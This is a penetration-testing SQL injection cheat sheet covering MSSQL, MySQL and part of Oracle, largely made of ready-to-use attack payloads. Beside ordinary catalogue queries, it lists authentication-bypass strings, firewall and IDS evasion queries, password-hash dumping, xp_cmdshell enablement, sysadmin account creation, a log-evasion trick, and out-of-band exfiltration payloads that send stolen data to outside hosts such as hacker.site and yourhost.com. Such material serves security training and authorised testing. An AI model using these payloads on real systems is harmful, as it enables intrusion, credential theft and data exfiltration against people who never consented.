



Certified Penetration Testing Professional

SQL Injection Cheat Sheet

Databases:

1. [MSSQL](#)
2. [MySQL](#)
3. [ORACLE](#)
4. [IBM-DB2 SQL](#)
5. [INGRES SQL](#)
6. [INFORMIX](#)
7. [POSTGRESQL](#)
8. [MS ACCESS](#)

1. MSSQL Database

Query	Command
Version	▪ <i>SELECT @@VERSION;</i> — This command obtains the OS/Windows version of the system.
List Users	▪ <i>SELECT name FROM master..syslogins;</i> — This command lists the names of users from the table master..syslogins.
Current User	▪ <i>SELECT user_name();</i> — This command obtains a name of recently logged in user. ▪ <i>SELECT system_user;</i> — This command obtains the current value of system_user. ▪ <i>SELECT user;</i> — This command obtains the name of impersonated user. ▪ <i>SELECT loginname FROM master..sysprocesses WHERE spid = @@SPID;</i> — This command obtains the column name loginname from table master..sysprocesses having spid=@@SPID.
List all Database	▪ <i>SELECT name FROM master..sysdatabases;</i> — This command obtains the list of all the databases from database 'master..sysdatabases'. ▪ <i>SELECT DB_NAME(N);</i> — This command obtains the DB_NAME present at N (Where N=0,1,2,3, ...).
Current Database	▪ <i>SELECT DB_NAME();</i> — This command obtains the current database.
List Tables	▪ <i>SELECT name FROM sysobjects WHERE xtype = 'U';</i> — This command obtains the column 'name' from table sysobjects having xtype value 'U'.

Column Names	▪ <i>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')</i> — This command works only for reading current database's tables. ▪ <i>SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';</i> — This command works globally. But you should change the master with the DB name which holds the table you want to read the columns and change 'sometable' with the table name.
Select Nth Row	▪ <i>SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC;</i> — This command obtains 9th row.
Select Nth Char	▪ <i>SELECT substring('abcd', 3, 1);</i> — This command returns c.
If Statement	▪ <i>IF (1=1) SELECT 1 ELSE SELECT 2;</i> — This command returns 1.
Case Statement	▪ <i>SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;</i> — This command returns 1.
Comments	▪ <i>SELECT 1;</i> — This command is used for writing a comment. ▪ <i>SELECT /*comment*/1;</i> — This command is used to comment out a statement.
String without Quotes	▪ <i>SELECT CHAR(75)+CHAR(76)+CHAR(77);</i> — This command returns 'KLM'.
Time Delay	▪ <i>WAITFOR DELAY '0:0:5';</i> — This command is used to pause for 5 seconds.
Command Execution	▪ <i>EXEC xp_cmdshell</i> ▪ <i>'net user';</i> — privOn MSSQL 2005, and you may need to reactivate xp_cmdshell first as it's disabled by default: <i>EXEC sp_configure 'show advanced options', 1;</i> — priv <i>RECONFIGURE;</i> — priv <i>EXEC sp_configure 'xp_cmdshell', 1;</i> — priv <i>RECONFIGURE;</i> — priv

Make DNS Requests	▪ <i>declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails "\' + @host + 'c\$boot.ini'");</i> — These commands are used to make DNS request. ▪ <i>declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist "\' + @host + 'c\$boot.ini'');</i> — These commands are used to make DNS request. — NB: Concatenation is not allowed in calls to these SPs, hence you have to use @host.
Bypassing Login Screens	SQL Injection, Login tricks ▪ <i>admin' --</i> ▪ <i>admin' #</i> ▪ <i>admin'/*</i> ▪ <i>' or 1=1—</i> ▪ <i>' or 1=1#</i> ▪ <i>' or 1=1/*</i> ▪ <i>') or '1'='1—</i> ▪ <i>') or ('1'='1--</i>
Bypassing Admin Panel of a Website	Malicious input used to bypass authentication ▪ <i>' or 1=1 --</i> ▪ <i>1'or'1'='1</i> ▪ <i>admin'--</i> ▪ <i>" or 0=0 --</i> ▪ <i>or 0=0 --</i> ▪ <i>' or 0=0 #</i> ▪ <i>" or 0=0 #</i> ▪ <i>or 0=0 #</i> ▪ <i>' or 'x'='x</i> ▪ <i>" or "x"="x</i> ▪ <i>') or ('x'='x</i> ▪ <i>' or 1=1--</i> ▪ <i>" or 1=1--</i> ▪ <i>or 1=1--</i>

Bypassing Firewall	Malicious query using normalization method to bypass firewall ▪ <i>/?id=1/*union*/union/*select*/select+1,2,3/*</i> Malicious query using HPP technique to bypass firewall ▪ <i>/?id=1;select+1&id=2,3+from+users+where+id=1—</i> Malicious query using HPF technique to bypass firewall ▪ <i>/?a=1+union/*&b=*/select+1,2</i> ▪ <i>/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users—</i> Malicious query using blind SQL injection to bypass firewall ▪ <i>/?id=1+OR+0x50=0x50</i> ▪ <i>/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74</i> Malicious query using signature bypass method to bypass firewall ▪ <i>/?id=1+union+(select+'xz'from+xxx)</i> ▪ <i>/?id=(1)union(select(1),mid(hash,1,32)from(users))</i> ▪ <i>/?id=1+union+(select'1',concat(login,hash)from+users)</i> ▪ <i>/?id=(1)union(((((((select(1),hex(hash)from(users))))))))</i> ▪ <i>/?id=xx(1)or(0x50=0x50)</i> Malicious query using buffer overflow method to bypass firewall ▪ <i>?page_id=null%0A/**/!*!50000%55n!On*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4...</i>
Database Enumeration	Malicious query to enumerate different databases in the server ▪ <i>' and 1 in (select min(name) from master.dbo.sysdatabases where name >'.') –</i> Malicious query to enumerate different file locations in the databases ▪ <i>' and 1 in (select min(filename) from master.dbo.sysdatabases where filename >'.') –</i>
Tables and Columns Enumeration in one Query	Malicious query to enumerate tables and columns in the database ▪ <i>' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --</i>

Bypassing Second MD5 Hash Check Login Screens	If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Stacked Query	▪ ProductID=1; DROP members--
Union Injections	▪ SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members — With union you can do SQL queries cross-table. Basically, you can poison query to return records from another table. This above example will combine results from both news table and members table and return all of them. ▪ Another Example: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
Log in as Admin User	▪ DROP sampletable;-- ▪ DROP sampletable;# Username: admin'-- SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' — Using this command, you can log in as admin user.
List Passwords	▪ SELECT name, password FROM master..sysxlogins; — This command obtains the columns 'name' and 'password' from the table 'master..sysxlogins'. It works only in MSSQL 2000. ▪ SELECT name, password_hash FROM master.sys.sql_logins; — This command obtains the columns 'name' and 'password_hash' from the table 'master.sys.sql_logins'. It works only in MSSQL 2005.

List Password Hashes	▪ <i>SELECT name, password FROM master..sysxlogins</i> — This command obtains the columns 'name' and 'password' from the table 'master..sysxlogins'. — priv, mssql 2000. ▪ <i>SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins</i> — This command obtains the columns 'name' and 'master.dbo.fn_varbintohexstr(password)' from the table 'master..sysxlogins'. — priv, mssql 2000, <i>Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.</i> ▪ <i>SELECT name, password_hash FROM master.sys.sql_logins</i> — This command obtains the columns 'name' and 'password_hash' from the table 'master.sys.sql_logins'. — priv, mssql 2005. ▪ <i>SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins</i> — This command obtains the columns 'name + '-' + master.sys.fn_varbintohexstr(password_hash)' from the table 'master.sys.sql_logins'. — priv, mssql 2005.
Password Grabbing	Malicious code to grab the passwords ▪ <i>'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/' +password+' ' from users where login>@var select @var as var into temp end -- ' and 1 in (select var from temp) -- '; drop table temp --</i>
Covering Tracks	SQL Server don't log queries which includes <i>sp_password</i> for security reasons(!). So, if you add <i>--sp_password</i> to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
Bulk Insert	Insert a file content to a table. If you don't know internal path of web application, you can read IIS (IIS 6 only) metabase file (<i>%systemroot%\system32\inetsrv\MetaBase.xml</i>) and then search in it to identify application path. <i>Create table foo(line varchar(8000)); bulk insert foo from 'c:\inetpub\wwwroot\login.asp'; Drop temp table; and repeat for another file</i>

Create Users	▪ EXEC sp_addlogin 'user', 'pass'; — This command creates a new SQL Server login where username is 'user' and password is 'pass'.
Drop User	▪ EXEC sp_droplogin 'user'; — This command drops a username = 'user' from SQL Server login.
Make User DBA	▪ EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; — This command makes a 'user' DBA.
Create DB Accounts	Malicious command used to create the database accounts ▪ exec sp_addlogin 'name', 'password' ▪ exec sp_addsrvrolemember 'name', 'sysadmin'
Discover DB Structure	▪ ' group by columnnames having 1=1 -- — malicious query used to determine table and column names ▪ ' union select sum(columnname) from tablename -- — malicious query used to discover column name types ▪ ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- malicious query used to enumerate user defined tables
Local File Access	▪ CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:boot.ini'; DROP TABLE mydata; — This command is used to gain Local File Access.
Hostname, IP Address	▪ SELECT HOST_NAME(); — This command obtains the Hostname and IP address of a system.
Error Based SQLi attack: To throw Conversion Errors	▪ For integer inputs: convert(int,@@version); ▪ For string inputs: ' + convert(int,@@version) +';
Clear SQLi Tests: For Boolean SQL Injection and Silent Attacks	▪ product.asp?id=4; ▪ product.asp?id=5-1; ▪ product.asp?id=4 OR 1=1; — These commands can be used as tests for Boolean SQL injection and silent attacks.

Error Messages	▪ <i>SELECT * FROM master..sysmessages;</i> — This command retrieves all the errors messages present in the SQL server.
Server Name and Configuration	Malicious Query to retrieve server name and configuration in a network ▪ <i>' and 1 in (select @@servername)--</i> ▪ <i>' and 1 in (select servername from sys.servers)--</i>
Linked Servers	▪ <i>SELECT * FROM master..sys.servers;</i> — This command retrieves all the Linked Servers.
IDS Signature Evasion	Examples for evading 'OR 1=1 signature: ▪ <i>OR 'john' = 'john'</i> ▪ <i>' OR 'microsoft' = 'micro'+'soft'</i> ▪ <i>' OR 'movies' = N'movies'</i> ▪ <i>' OR 'software' like 'soft%'</i> ▪ <i>' OR 7 > 1</i> ▪ <i>' OR 'best' > 'b'</i> ▪ <i>' OR 'whatever' IN ('whatever')</i> ▪ <i>' OR 5 BETWEEN 1 AND 7</i>
IDS Signature Evasion using Comments	Malicious SQL queries to evade IDS signatures using comments are as follows: ▪ <i>'/**/OR/**/1/**/=/**/1</i> ▪ <i>Username:' or 1/*</i> ▪ <i>Password:*/=1--</i> ▪ <i>UNI/**/ON SEL/**/ECT</i> ▪ <i>(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')</i>
Time Based SQLi Exploitation	▪ <i>?vulnerableParam=1;DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(({INJECTION})),1,1));IF @x=100 SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w— {INJECTION} = You want to run the query.</i> — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.

Out of Band Channel	▪ ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECT})+'.yourhost.com'; 'sa'; 'pwd', 'SELECT 1'); — This command makes DNS resolution request to {INJECT}.yourhost.com. ▪ ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECT})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q — This command makes DNS resolution request to {INJECT}.yourhost.com. — {INJECTION} = You want to run the query.
Default Databases	▪ Northwind ▪ Model ▪ Sdb ▪ pubs — not on sql server 2005 ▪ tempdb
Creating Database Accounts	Malicious command used to create database accounts ▪ exec sp_addlogin 'victor', 'Pass123' ▪ exec sp_addsrvrolemember 'victor', 'sysadmin'
Path of DB files	▪ %PROGRAM_FILES%\Microsoft SQL Server\MSSQL.1\MSSQL\Data\
Location of DB Files	▪ EXEC sp_helpdb master; — This command retrieves the location of master.mdf. ▪ EXEC sp_helpdb pubs; — This command retrieves the location of pubs.mdf.
Privileges	Current privs on a particular object in 2005, 2008 ▪ SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); — This command returns a column name 'permission_name' from the table 'master..fn_my_permissions' where securable is set to 'null' and securable_class permission is set to current 'DATABASE'.

- ***SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER');***
— This command returns a column name 'permission_name' from the table 'master..fn_my_permissions' where securable is set to 'null' and securable_class permission is set to current 'SERVER'.
- ***SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT');***
— This command returns a column name 'permission_name' from the table 'master..fn_my_permissions' where securable is set to 'master..syslogins' and securable_class permission is set to current 'OBJECT'.
- ***SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');***
— This command returns a column name 'permission_name' from the table 'master..fn_my_permissions' where securable is set to 'sa' and securable_class permissions are set on a 'USER'.
— current privs in 2005, 2008
- ***SELECT is_srvrolemember('sysadmin');***
— This command determines whether a current has 'sysadmin' privilege.
- ***SELECT is_srvrolemember('dbcreator');***
— This command determines whether a current has 'dbcreator' privilege.
- ***SELECT is_srvrolemember('bulkadmin');***
— This command determines whether a current has 'bulkadmin' privilege.
- ***SELECT is_srvrolemember('diskadmin');***
— This command determines whether a current has 'diskadmin' privilege.
- ***SELECT is_srvrolemember('processadmin');***
— This command determines whether a current has 'processadmin' privilege.
- ***SELECT is_srvrolemember('serveradmin');***
— This command determines whether a current has 'serveradmin' privilege.
- ***SELECT is_srvrolemember('setupadmin');***
— This command determines whether a current has 'setupadmin' privilege.

- ***SELECT is_srvrolemember('securityadmin');***
— This command determines whether a current has 'securityadmin' privilege.
- ***SELECT name FROM master..syslogins WHERE denylogin = 0;***
— This command obtains column name 'name' from table master..syslogins having denylogin value as 0.
- ***SELECT name FROM master..syslogins WHERE hasaccess = 1;***
— This command obtains column name 'name' from table master..syslogins having hasaccess value as 1.
- ***SELECT name FROM master..syslogins WHERE isntname = 0;***
— This command obtains column name 'name' from table master..syslogins having isntname value as 0.
- ***SELECT name FROM master..syslogins WHERE isntgroup = 0;***
— This command obtains column name 'name' from table master..syslogins having isntgroup value as 0.
- ***SELECT name FROM master..syslogins WHERE sysadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having sysadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE securityadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having securityadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE serveradmin = 1;***
— This command obtains column name 'name' from table master..syslogins having serveradmin value as 1.
- ***SELECT name FROM master..syslogins WHERE setupadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having setupadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE processadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having processadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE diskadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having diskadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE dbcreator = 1;***
— This command obtains column name 'name' from table master..syslogins having dbcreator value as 1.
- ***SELECT name FROM master..syslogins WHERE bulkadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having bulkadmin value as 1.

Identify User Level Privilege	These are the commands that has several SQL built-in scalar functions that can work in SQL implementations ▪ <i>user or current_user, session_user, system_user</i> ▪ <i>' and 1 in (select user) --</i> ▪ <i>'; if user = 'dbo' waitfor delay '0:0:5' --</i> ▪ <i>' union select if(user() like 'root@%', benchmark(50000,sha1('test')), 'false');</i>
List Privileges	Retrieves the types of privileges granted on a specific table ▪ <i>SELECT privilege_type FROM information_schema.role_table_grants WHERE table_name=<YourTable>;</i>
Determine SQL Server Version	Provides detailed information about the SQL Server version, product level, and edition ▪ <i>SELECT SERVERPROPERTY('ProductVersion'), SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition');</i>
List Procedures	Lists all the stored procedures in the current database ▪ <i>SELECT name FROM sys.procedures</i>
List Roles	Lists all the roles defined in the current database ▪ <i>SELECT name FROM sys.database_principals WHERE type = 'R';</i>

2. MySQL Database

Query	Command
Version	▪ <i>SELECT @@VERSION;</i> — This command retrieves the system information of the current installation of SQL Server. ▪ <i>SELECT version();</i> — This command selects the specific version of a Server.
OS Interaction	Malicious query used to interact with a target OS ▪ <i>' union select 1,load_file('/etc/passwd'),1,1,1;</i> Malicious commands used to interact with a target OS ▪ <i>CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll';</i> ▪ <i>CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll';</i>
List Users	▪ <i>SELECT user FROM mysql.user;</i> — This command lists the column 'user' from the table 'mysql.user'.

Current User	▪ <i>SELECT user();</i> — This command obtains the current MySQL user name and hostname. ▪ <i>SELECT system_user();</i> — This command obtains the current value of system_user.
Creating Database Accounts	Malicious query used to create database accounts Example: ▪ <i>INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))</i>
List all Database	▪ <i>SELECT schema_name FROM information_schema.schemata;</i> <i>for MySQL >= v5.0</i> — This command obtains a column name 'schema_name' having a list of databases from the table 'schemata table'. ▪ <i>SELECT distinct(db) FROM mysql.db;</i> — priv
Current Database	▪ <i>SELECT database();</i> — This command obtains the current MySQL database.
Input Validation Circumvention using Char()	▪ <i>' or username like char(37);</i> — This command is used to inject without quotes (string = "%") ▪ <i>' union select * from users where login = char(114,111,111,116);</i> — This command is used to inject with quotes (string="root") ▪ <i>' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</i> — This command is used to load files in unions (string = "/etc/passwd") ▪ <i>' and 1=(if((load_file(char(110,46,101,120,116)))<>char(39,39)),1,0);</i> — This command is used to check for existing files (string = "n.ext")
List Tables	▪ <i>SELECT table_name FROM information_schema.tables WHERE table_schema = 'tblUsers'</i> — This command obtains the column name 'table_name' from the table 'information_schema.tables' having table_schema value 'tblUsers'. <i>tblUsers -> tablename</i>

Column Names	▪ <i>SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tblUsers'</i> — This command obtains the columns name 'table_name' and 'column_name' from the table 'information_schema.tables' having table_schema value 'tblUsers'. <i>tblUsers -> tablename</i> ▪ <i>SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';</i> — This command obtains the columns name 'table_name' and 'column_name' from the table 'information_schema.tables' having table_schema value 'username'.
Select Nth Row	▪ <i>SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0;</i> — This command returns rows numbered from 0. ▪ <i>SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1;</i> — This command returns rows numbered from 0.
Select Nth Char	▪ <i>SELECT substr('abcd', 3, 1);</i> — This command returns c.
If Statement	▪ <i>SELECT if(1=1,'foo','bar');</i> — returns 'foo'
Case Statement	▪ <i>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;</i> — This command returns A.
Comments	▪ <i>SELECT 1; #comment</i> — This command is used for writing a comment. ▪ <i>SELECT /*comment*/1;</i> — This command is used comment out a statement.
String without Quotes	▪ <i>SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))</i> — This command returns 'KLM'.
Time Delay	▪ <i>SELECT BENCHMARK(1000000,MD5('A'));</i> <i>SELECT SLEEP(5);</i> -- >= 5.0.12 — This command triggers a measurable time delay.
Command Execution	If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.

DNS Exfiltration	Malicious query used to extract data like password hashes from DNS request ▪ select load_file(concat('\\\\\\',version(),'.hacker.site\\a.txt')); ▪ select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
Load File	▪ ' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- SELECT LOAD_FILE(0x633A5C626F6F742E696E69) — This command will show the content of c:\boot.ini.
Log in as Admin User	▪ DROP sampletable;-- ▪ DROP sampletable;# Username : admin'-- : admin' or '1'='1'-- SELECT * FROM members WHERE \$username = 'admin'--' AND \$password = 'password' — This command lists all the users from the column 'members' having \$username value as 'admin' and \$password value as 'password'.
List Passwords	▪ SELECT user, password FROM mysql.user; — This command retrieves the columns 'user' and 'password' from the table 'mysql.user'. ▪ SELECT user, password FROM mysql.user LIMIT 1,1; — This command retrieves the columns 'user' and 'password' from the table 'mysql.user' with LIMIT 1,1. ▪ SELECT password FROM mysql.user WHERE user = 'root'; — This command retrieves the column 'password' from the table 'mysql.user' having user value as 'root'.
List Password Hashes	▪ SELECT host, user, password FROM mysql.user; — This command lists columns 'host', 'user' and 'password' from the table 'mysql.user'.
Bulk Insert	▪ SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; — This command is used to insert a file content to a table.
Create Users	▪ CREATE USER username IDENTIFIED BY 'password'; — This command creates a username 'USER' who authenticates by password to log on to the database.
Create DB Accounts	▪ INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
Drop User	▪ DROP USER username; — This command drops a username 'USER' from the table.

Make User DBA	▪ GRANT ALL PRIVILEGES ON *.* TO username@'%; — This command grants DBA privileges to a user.
Local File Access	▪ ...' UNION ALL SELECT LOAD_FILE('/etc/passwd') — This command allows you to only read world-readable files. ▪ SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; — This command allows you to write to file system.
Hostname, IP Address	▪ SELECT @@hostname; — This command obtains the Hostname and IP address of a system.
Error Based SQLi Attack: To throw Conversion Errors	▪ (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)); — This command is used to receive integer inputs. ▪ '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'; — This command is used to receive string inputs.
Clear SQLi Tests: For Boolean SQL Injection and Silent Attacks	▪ product.php?id=4 ▪ product.php?id=5-1 ▪ product.php?id=4 OR 1=1 ▪ product.php?id=-1 OR 17-7=10 — These commands can be used to test for Boolean SQL injection and silent attacks.
Blind SQL Injection (Time Based)	▪ SLEEP(25)-- SELECT BENCHMARK(1000000,MD5('A')); ▪ ProductID=1 OR SLEEP(25)=0 LIMIT 1— ▪ ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ▪ ProductID=1' OR SLEEP(25)=0 LIMIT 1— ▪ ProductID=1') OR SLEEP(25)=0 LIMIT 1-- ▪ ProductID=1)) OR SLEEP(25)=0 LIMIT 1— ▪ ProductID=SELECT SLEEP(25)— — These commands trigger a measurable time delay.
Time base SQLi Exploitation	▪ ?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTON}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1— {INJECTON} = You want to run the query. — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.

Out of Band Channel	▪ ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',{INJECTION}), 'yourhost.com\\\\')); — This command makes a NBNS query request/DNS resolution request to yourhost.com. ▪ ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt'); — This command writes data to your shared folder/file. {INJECTION} = You want to run the query.
Default Databases	▪ information_schema (>= mysql 5.0) ▪ mysql
Path of DB Files	▪ SELECT @@datadir C:\AppServ\MySQL\data\
Location of DB Files	▪ SELECT @@datadir; — This command obtains the location of DB files.
Privileges	▪ SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — This command lists list user privileges. ▪ SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — This command lists list various types of privileges. ▪ list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — This command lists privileges on databases (schemas). ▪ SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — This command lists privileges on columns.
Current User Host	▪ SELECT user, host FROM mysql.user WHERE user = CURRENT_USER(); — Retrieves the current user's name and host information.
List Engines	▪ SHOW ENGINES; — Displays a list of storage engines supported by the MySQL server.
List Privileges for User	▪ SHOW GRANTS FOR 'username'@'localhost'; — Shows the privileges granted to a specified user.

Find Process List	▪ SHOW PROCESSLIST; — Displays a list of currently running threads on the MySQL server.
-------------------	--

3. Oracle Database

Query	Command
Version	▪ SELECT banner FROM v\$version WHERE banner LIKE 'Oracle%'; — This command obtains oracle version and build information. ▪ SELECT version FROM v\$instance; — This command displays the current database information such as host name, status, startup time, etc.
List Users	▪ SELECT username FROM all_users ORDER BY username; — This command obtains column 'username' from the table 'all_users' and sort it by username. ▪ SELECT name FROM sys.user\$; — This command obtains column 'name' from table 'sys.user\$'.
Current User	▪ SELECT user FROM dual — This command obtains current user from the table 'dual'.
List all Database	▪ SELECT DISTINCT owner FROM all_tables; — This command lists schemas (one per user). — Also queries TNS listener for other databases. See tnsctl (services status).
Create DB Accounts	This command is used to create database accounts ▪ CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor;
Current Database	▪ SELECT global_name FROM global_name; — This command obtains current user from global_name. ▪ SELECT name FROM v\$database; — This command obtains current username from column 'name', present in the table 'v\$database'. ▪ SELECT instance_name FROM v\$instance; — This command obtains column 'instance_name' from the table 'v\$instance'.

	▪ <i>SELECT SYS.DATABASE_NAME FROM DUAL;</i> — This command obtains database name 'SYS.DATABASE' from the table 'DUAL'.
List Tables	▪ <i>SELECT table_name FROM all_tables;</i> — This command obtains column 'table_name' from the table 'all_tables'. ▪ <i>SELECT owner, table_name FROM all_tables;</i> — This command obtains columns 'owner' and 'table_name' from the table 'all_tables'.
Column Names	▪ <i>SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';</i> — This command obtains column 'column_name' from the table 'all_tab_columns' having value of 'table_name' as 'blah'. ▪ <i>SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo'</i> — This command obtains column 'column_name' from the table 'all_tab_columns' having value of 'table_name' as 'blah' and value of owner as 'foo'.
Select Nth Row	▪ <i>SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9;</i> — This command retrieves 9th row (rows numbered from 1).
Select Nth Char	▪ <i>SELECT substr('abcd', 3, 1) FROM dual;</i> — This command retrieves gets 3rd character, 'c'.
If Statement	▪ <i>BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;</i> — If the condition is true then a time delay is triggered and if the condition is false time delay is not triggered. — This command does not work well for SELECT statements.
Case Statement	▪ <i>SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;</i> — If the condition is true, it returns 1. ▪ <i>SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual;</i> — If the condition is true, it returns 2.
Comments	▪ <i>SELECT 1 FROM dual</i> — This command is used for writing a comment. — NB: SELECT statements must have a FROM clause in Oracle so you have to use the dummy table name 'dual' when we're not actually selecting from a table.

String without Quotes	▪ <i>SELECT CHR(75) CHR(76) CHR(77)</i> — This command returns 'KLM'.
Time Delay	▪ <i>BEGIN DBMS_LOCK.SLEEP(5); END;</i> — This command is used to trigger time delay. ▪ <i>SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;</i> — This command is used, if reverse looks are slow. ▪ <i>SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual;</i> — This command is used, if forward lookups are slow. ▪ <i>SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;</i> — This command is used, if outbound TCP is filtered / slow.
Command Execution	There are some techniques for command execution. ▪ <i>Creating JAVA library</i> ▪ <i>DBMS_SCHEDULER</i> ▪ <i>EXTPROC</i> ▪ <i>PL/SQL native make utility (9i only)</i>
Make DNS Requests	▪ <i>SELECT UTL_INADDR.get_host_address('google.com') FROM dual;</i> ▪ <i>SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;</i> — These commands are used to make DNS request from dual.
Union Injections	▪ <i>SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members</i> — By using union, you can do SQL queries cross-table. Basically, you can poison query to return records from another table and this example will combine results from both news table and members table and return all of them. ▪ Another Example: <i>' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--</i>
Log in as Admin User	▪ <i>DROP sampletable;--</i> <i>Username: admin'—</i> <i>SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'</i> — This command retrieves all the users from the table 'members' where username is 'admin' and password is 'password'.

List Passwords	▪ <i>SELECT name, password FROM sys.user\$ where type#=1</i> — This command retrieves the columns 'name' and 'password' from table 'sys.user\$' having 'type#=1'.
